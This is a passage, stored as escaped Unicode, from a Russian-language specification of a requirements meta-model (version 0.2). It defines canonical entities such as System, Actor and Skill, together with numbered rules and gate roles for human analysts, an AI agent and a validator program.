\u2014 \u0440\u0430\u043c\u043a\u0430 \u0431\u0435\u0437 \u0440\u0435\u0444\u0435\u0440\u0435\u043d\u0442\u0430. |\\n| `K-3` \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438 | \u0423 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0438\u043c\u044f \u0432\u043e \u0432\u0441\u0435\u0439 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0435\u0451 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438. | \u0422\u0440\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u0442\u0440\u0451\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f `K-3`. |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043d\u0438\u0436\u0435 \u043d\u0435 \u0432\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u00ab\u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0442\u044b\u00bb: \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u043a\u0430\u0437\u0430\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0435\u0437 \u043d\u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c.\\n\\n## 2. \u041e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0432\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043a \u0434\u0435\u0432\u044f\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u0438 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\\n`Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\n\u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`\u2013`K-3` \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043d\u0438\u0436\u0435.\\n\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c | \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 (`K-1`) | \u041a\u043b\u044e\u0447 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 |\\n| --- | --- | --- |\\n| `Product` | \u041e \u043a\u0430\u043a\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` |\\n| `System` | **\u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f?** | \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u043b\u0438 \u0435\u0451 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 |\\n| `Artifact` | \u0427\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u043e\u043c \u0438 \u0447\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b? | \u043a\u043b\u0430\u0441\u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Skill` | **\u041a\u0430\u043a\u043e\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u043e\u0435 \u0446\u0435\u043b\u043e\u0435 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c?** | \u0438\u043c\u044f \u043d\u0430\u0432\u044b\u043a\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Route` | \u041a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u043f\u0440\u043e\u0439\u0434\u0435\u043d? | \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 + \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n| `Actor` | \u041a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433 \u0438\u043b\u0438 \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | \u0440\u043e\u043b\u044c |\\n| `Gate` | \u0412 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442? | \u0442\u043e\u0447\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 + \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c |\\n| `Contract` | \u041a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c? | \u0438\u043c\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Trace` | \u041a\u0430\u043a \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0432\u0445\u043e\u0434, \u0440\u0430\u0431\u043e\u0442\u0443, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434? | \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f |\\n\\n### 2.1 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\\n`System` \u2014 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439\\n\u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441. \u041e\u043d\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`: \u0431\u0435\u0437 \u043d\u0435\u0451\\n\u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043a\u043d\u043e\u043f\u043a\u0443\u00bb \u0438 \u00ab\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435\u00bb \u2014\\n\u0434\u0432\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043b\u0438\u0446\u0430.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SY-1` | `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430. \u041e\u043d\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u044f `Actor` \u0448\u0430\u0433\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. |\\n| `SY-2` | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f `System`, \u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u043c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u2014 `Actor`. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0435\u0437 \u043e\u0431\u043e\u0438\u0445 \u043f\u043e\u043b\u044e\u0441\u043e\u0432 \u043d\u0435\u043f\u043e\u043b\u043d\u043e. |\\n| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n\\n### 2.2 `Actor` \u2014 \u043e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u0430\u0433\u0435\u043d\u0442\u0430\\n\\n`Actor` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u043a\u0430\u043a \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\\n\u0435\u0433\u043e \u0434\u043e **\u043e\u0431\u0449\u0435\u0433\u043e \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430**: \u0438 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0438\\n\u0442\u043e\u0433\u043e, \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435. \u041e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nUML \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0431\u0440\u0430\u043b\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043b\u0438\u0446 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u043b\u0430\\n\u0438\u0445: \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b 5 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 (`D6`).\\n\\n| \u0420\u043e\u043b\u044c | \u0422\u0438\u043f | \u0413\u0434\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 `A-US`, `A-UC`, \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 `System` |\\n| `\u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430\u0434\u0440\u0435\u0441\u0430\u0442 `A-QUEST`, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 |\\n| `\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-human` |\\n| `\u0410\u0433\u0435\u043d\u0442` | AI-\u0430\u0433\u0435\u043d\u0442 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-self` |\\n| `\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440` | \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-mach` |\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `AC-1` | \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 `A-CORE` \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 `extract-actors`, \u0430 \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0451\u043d. |\\n| `AC-2` | \u0410\u043a\u0442\u043e\u0440, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0432 `A-CORE`, \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445: \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430 \u2014 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043c\u0435\u0441\u0442\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043b\u0438\u0446. |\\n| `AC-3` | \u0420\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0448\u0430\u0433\u0430 \u0438 \u0440\u043e\u043b\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e: \u043e\u0431\u0435 \u2014 `Actor`. |\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d \u00ab\u0410\u043a\u0442\u043e\u0440\u00bb \u0432\u044b\u0431\u0440\u0430\u043d \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb \u0438 \u00ab\u0440\u043e\u043b\u044c\u00bb: \u043e\u043d \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\\n\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0438 \u0430\u0433\u0435\u043d\u0442\u0430, \u0438 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443-\u043a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u0430, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb\\n\u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u043e\u043d\u044f\u0442\u0438\u0435 \u0434\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0430 \u00ab\u0440\u043e\u043b\u044c\u00bb \u0443\u0436\u0435 \u0437\u0430\u043d\u044f\u0442\u0430 \u043f\u043e\u043b\u0435\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438.\\n\\n### 2.3 `Skill` \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.1 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0430 `Skill` \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation` \u0438 \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 \u0435\u043c\u0443 \u0432\\n\u0441\u0442\u0430\u0442\u0443\u0441\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u044d\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 **\u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442**. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u043c\u0435\u0440 `D5`:\\n\u0441\u043f\u0438\u0446\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0448\u0435\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n`\u041f1`\u2013`\u041f6` \u0432 ADR-009, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c Source \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0438\\n\u0440\u0430\u0437\u0443. \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n`Skill` \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1` \u0432 \u043d\u043e\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0435: \u0434\u0432\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435\u0441\u044f\\n\u043d\u0430\u0432\u044b\u043a\u043e\u043c, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f **\u0442\u043e\u0447\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u0430 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f**. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435\\n\u0432\u0435\u0442\u0432\u0438\u0442\u0441\u044f (`OA-2`) \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f; \u043d\u0430\u0432\u044b\u043a \u0438\u043c\u0435\u0435\u0442 \u0438 \u0442\u043e, \u0438\\n\u0434\u0440\u0443\u0433\u043e\u0435. \u0411\u0435\u0437 `Skill` \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u044f\u00bb \u0438\\n\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c\u00bb.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SB-0` | `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441` \u2014 \u0443\u0447\u0430\u0441\u0442\u043e\u043a 